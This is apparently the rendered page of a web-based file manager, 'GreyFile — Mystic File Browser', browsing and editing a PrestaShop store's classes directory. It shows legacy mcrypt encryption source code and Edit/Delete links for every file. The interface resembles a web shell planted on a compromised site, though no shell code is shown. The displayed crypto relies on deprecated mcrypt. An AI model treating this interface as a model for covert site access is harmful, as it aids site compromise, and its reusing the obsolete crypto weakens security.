?? GreyFile

?? GreyFile — Mystic File Browser

Current path: home/webdevt/prestashop17/classes/

?? Editing: PhpEncryptionLegacyEngine.php

<?php
/**
 * Copyright since 2007 PrestaShop SA and Contributors
 * PrestaShop is an International Registered Trademark & Property of PrestaShop SA
 *
 * NOTICE OF LICENSE
 *
 * This source file is subject to the Open Software License (OSL 3.0)
 * that is bundled with this package in the file LICENSE.md.
 * It is also available through the world-wide-web at this URL:
 * https://opensource.org/licenses/OSL-3.0
 * If you did not receive a copy of the license and are unable to
 * obtain it through the world-wide-web, please send an email
 * to license@prestashop.com so we can send you a copy immediately.
 *
 * DISCLAIMER
 *
 * Do not edit or add to this file if you wish to upgrade PrestaShop to newer
 * versions in the future. If you wish to customize PrestaShop for your
 * needs please refer to https://devdocs.prestashop.com/ for more information.
 *
 * @author    PrestaShop SA and Contributors <contact@prestashop.com>
 * @copyright Since 2007 PrestaShop SA and Contributors
 * @license   https://opensource.org/licenses/OSL-3.0 Open Software License (OSL 3.0)
 */

/**
 * Class PhpEncryption engine for openSSL < 0.9.8.
 *
 * @doc http://php.net/manual/fr/function.mcrypt-encrypt.php#refsect1-function.mcrypt-encrypt-examples
 *
 * This class will be deprecated when web hosting providers will update their version of OpenSSL.
 */
class PhpEncryptionLegacyEngineCore extends PhpEncryptionEngine
{
    protected $key;
    protected $hmacIv;
    protected $iv;
    protected $ivSize;

protected $mode = MCRYPT_MODE_CBC;
    protected $cipher = MCRYPT_RIJNDAEL_128;

/**
     * PhpEncryptionCore constructor.
     *
     * @param string $hexString A string that only contains hexadecimal characters
     *                          Bother upper and lower case are allowed
     */
    public function __construct($hexString)
    {
        $this->key = substr($hexString, 0, 32);
        $this->ivSize = mcrypt_get_iv_size($this->cipher, $this->mode);
        $this->iv = mcrypt_create_iv($this->ivSize, MCRYPT_RAND);
        $this->hmacIv = substr(sha1(_COOKIE_KEY_), 0, $this->ivSize);
    }

/**
     * Encrypt the plaintext.
     *
     * @param string $plaintext Plaintext
     *
     * @return string Cipher text
     */
    public function encrypt($plaintext)
    {
        $blockSize = mcrypt_get_block_size($this->cipher, $this->mode);
        $pad = $blockSize - (strlen($plaintext) % $blockSize);

$cipherText = mcrypt_encrypt(
            $this->cipher,
            $this->key,
            $plaintext . str_repeat(chr($pad), $pad),
            $this->mode,
            $this->iv
        );
        $cipherText = $this->iv . $cipherText;

return $this->generateHmac($cipherText) . ':' . base64_encode($cipherText);
    }

/**
     * Decrypt the cipher text.
     *
     * @param string $cipherText Cipher text
     *
     * @return bool|string Plaintext
     *                     `false` if unable to decrypt
     *
     * @throws Exception
     */
    public function decrypt($cipherText)
    {
        $data = explode(':', $cipherText);
        if (count($data) != 2) {
            return false;
        }

list($hmac, $encrypted) = $data;
        $encrypted = base64_decode($encrypted);
        $newHmac = $this->generateHmac($encrypted);
        if ($hmac !== $newHmac) {
            return false;
        }

$ivDec = substr($encrypted, 0, $this->ivSize);
        $cipherText = substr($encrypted, $this->ivSize);

$data = mcrypt_decrypt(
            $this->cipher,
            $this->key,
            $cipherText,
            $this->mode,
            $ivDec
        );

$pad = ord($data[strlen($data) - 1]);

return substr($data, 0, -$pad);
    }

/**
     * Generate Hmac.
     *
     * @param string $encrypted
     *
     * @return string
     */
    protected function generateHmac($encrypted)
    {
        $macKey = $this->generateKeygenS2k('sha256', $this->key, $this->hmacIv, 32);

return hash_hmac(
            'sha256',
            $this->hmacIv . $this->cipher . $encrypted,
            $macKey
        );
    }

/**
     * Alternative to mhash_keygen_s2k for security reason
     * and php compatibilities.
     *
     * @param string $hash
     * @param string $password
     * @param string $salt
     * @param int $bytes
     *
     * @return string
     */
    protected function generateKeygenS2k($hash, $password, $salt, $bytes)
    {
        $result = '';
        foreach (range(0, ceil($bytes / strlen(hash($hash, null, true))) - 1) as $i) {
            $result .= hash(
                $hash,
                str_repeat("\0", $i) . str_pad(substr($salt, 0, 8), 8, "\0", STR_PAD_RIGHT) . $password,
                true
            );
        }

return substr(
            $result,
            0,
            (int) $bytes
        );
    }
}

?? assets | ??? Delete
?? cache | ??? Delete
?? checkout | ??? Delete
?? container | ??? Delete
?? controller | ??? Delete
?? db | ??? Delete
?? exception | ??? Delete
?? form | ??? Delete
?? helper | ??? Delete
?? lang | ??? Delete
?? log | ??? Delete
?? module | ??? Delete
?? order | ??? Delete
?? pdf | ??? Delete
?? product | ??? Delete
?? proxy | ??? Delete
?? range | ??? Delete
?? shop | ??? Delete
?? Smarty | ??? Delete
?? stock | ??? Delete
?? tax | ??? Delete
?? tree | ??? Delete
?? webservice | ??? Delete
?? .htaccess | ?? Edit | ??? Delete
?? Access.php | ?? Edit | ??? Delete
?? Address.php | ?? Edit | ??? Delete
?? AddressChecksumCore.php | ?? Edit | ??? Delete
?? AddressFormat.php | ?? Edit | ??? Delete
?? Alias.php | ?? Edit | ??? Delete
?? Attachment.php | ?? Edit | ??? Delete
?? Attribute.php | ?? Edit | ??? Delete
?? AttributeGroup.php | ?? Edit | ??? Delete
?? Carrier.php | ?? Edit | ??? Delete
?? Cart.php | ?? Edit | ??? Delete
?? CartRule.php | ?? Edit | ??? Delete
?? Category.php | ?? Edit | ??? Delete
?? Chart.php | ?? Edit | ??? Delete
?? ChecksumInterface.php | ?? Edit | ??? Delete
?? CMS.php | ?? Edit | ??? Delete
?? CMSCategory.php | ?? Edit | ??? Delete
?? CMSRole.php | ?? Edit | ??? Delete
?? Combination.php | ?? Edit | ??? Delete
?? Configuration.php | ?? Edit | ??? Delete
?? ConfigurationKPI.php | ?? Edit | ??? Delete
?? ConfigurationTest.php | ?? Edit | ??? Delete
?? Connection.php | ?? Edit | ??? Delete
?? ConnectionsSource.php | ?? Edit | ??? Delete
?? Contact.php | ?? Edit | ??? Delete
?? Context.php | ?? Edit | ??? Delete
?? Cookie.php | ?? Edit | ??? Delete
?? Country.php | ?? Edit | ??? Delete
?? CSV.php | ?? Edit | ??? Delete
?? Currency.php | ?? Edit | ??? Delete
?? Curve.php | ?? Edit | ??? Delete
?? Customer.php | ?? Edit | ??? Delete
?? CustomerAddress.php | ?? Edit | ??? Delete
?? CustomerMessage.php | ?? Edit | ??? Delete
?? CustomerSession.php | ?? Edit | ??? Delete
?? CustomerThread.php | ?? Edit | ??? Delete
?? Customization.php | ?? Edit | ??? Delete
?? CustomizationField.php | ?? Edit | ??? Delete
?? DateRange.php | ?? Edit | ??? Delete
?? Delivery.php | ?? Edit | ??? Delete
?? Dispatcher.php | ?? Edit | ??? Delete
?? Employee.php | ?? Edit | ??? Delete
?? EmployeeSession.php | ?? Edit | ??? Delete
?? Feature.php | ?? Edit | ??? Delete
?? FeatureValue.php | ?? Edit | ??? Delete
?? FileUploader.php | ?? Edit | ??? Delete
?? Gender.php | ?? Edit | ??? Delete
?? Group.php | ?? Edit | ??? Delete
?? GroupReduction.php | ?? Edit | ??? Delete
?? Guest.php | ?? Edit | ??? Delete
?? Hook.php | ?? Edit | ??? Delete
?? Image.php | ?? Edit | ??? Delete
?? ImageManager.php | ?? Edit | ??? Delete
?? ImageType.php | ?? Edit | ??? Delete
?? index.php | ?? Edit | ??? Delete
?? Language.php | ?? Edit | ??? Delete
?? Link.php | ?? Edit | ??? Delete
?? LocalizationPack.php | ?? Edit | ??? Delete
?? Mail.php | ?? Edit | ??? Delete
?? Manufacturer.php | ?? Edit | ??? Delete
?? ManufacturerAddress.php | ?? Edit | ??? Delete
?? Media.php | ?? Edit | ??? Delete
?? Message.php | ?? Edit | ??? Delete
?? Meta.php | ?? Edit | ??? Delete
?? Notification.php | ?? Edit | ??? Delete
?? ObjectModel.php | ?? Edit | ??? Delete
?? Pack.php | ?? Edit | ??? Delete
?? Page.php | ?? Edit | ??? Delete
?? PaymentFree.php | ?? Edit | ??? Delete
?? PaymentModule.php | ?? Edit | ??? Delete
?? PhpEncryption.php | ?? Edit | ??? Delete
?? PhpEncryptionEngine.php | ?? Edit | ??? Delete
?? PhpEncryptionLegacyEngine.php | ?? Edit | ??? Delete
?? PrestaShopAutoload.php | ?? Edit | ??? Delete
?? PrestaShopBackup.php | ?? Edit | ??? Delete
?? PrestaShopCollection.php | ?? Edit | ??? Delete
?? PrestaShopLogger.php | ?? Edit | ??? Delete
?? Product.php | ?? Edit | ??? Delete
?? ProductAssembler.php | ?? Edit | ??? Delete
?? ProductDownload.php | ?? Edit | ??? Delete
?? ProductPresenterFactory.php | ?? Edit | ??? Delete
?? ProductSale.php | ?? Edit | ??? Delete
?? ProductSupplier.php | ?? Edit | ??? Delete
?? Profile.php | ?? Edit | ??? Delete
?? QqUploadedFileForm.php | ?? Edit | ??? Delete
?? QqUploadedFileXhr.php | ?? Edit | ??? Delete
?? QuickAccess.php | ?? Edit | ??? Delete
?? Referrer.php | ?? Edit | ??? Delete
?? RequestSql.php | ?? Edit | ??? Delete
?? Risk.php | ?? Edit | ??? Delete
?? Search.php | ?? Edit | ??? Delete
?? SearchEngine.php | ?? Edit | ??? Delete
?? SpecificPrice.php | ?? Edit | ??? Delete
?? SpecificPriceRule.php | ?? Edit | ??? Delete
?? State.php | ?? Edit | ??? Delete
?? Store.php | ?? Edit | ??? Delete
?? Supplier.php | ?? Edit | ??? Delete
?? SupplierAddress.php | ?? Edit | ??? Delete
?? Tab.php | ?? Edit | ??? Delete
?? Tag.php | ?? Edit | ??? Delete
?? Tools.php | ?? Edit | ??? Delete
?? Translate.php | ?? Edit | ??? Delete
?? TranslatedConfiguration.php | ?? Edit | ??? Delete
?? Upgrader.php | ?? Edit | ??? Delete
?? Uploader.php | ?? Edit | ??? Delete
?? Validate.php | ?? Edit | ??? Delete
?? ValidateConstraintTranslator.php | ?? Edit | ??? Delete
?? WarehouseAddress.php | ?? Edit | ??? Delete
?? Windows.php | ?? Edit | ??? Delete
?? Zone.php | ?? Edit | ??? Delete